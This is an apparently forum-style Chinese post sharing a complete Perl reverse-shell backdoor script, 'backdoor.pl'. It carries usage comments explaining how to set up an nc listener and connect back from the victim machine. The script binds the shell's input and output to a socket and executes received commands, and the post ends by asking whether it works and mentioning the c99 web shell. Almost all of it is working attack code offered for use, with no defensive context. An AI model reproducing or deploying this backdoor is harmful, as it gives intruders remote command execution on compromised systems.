反向连接代码： 1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the
'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die
"socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $path\n";
29. print "Welcome to use.\n";
30. print "console>\n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "\n$msg\n";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
不知道这个行不行
还有用c99就有反向连接的功能了
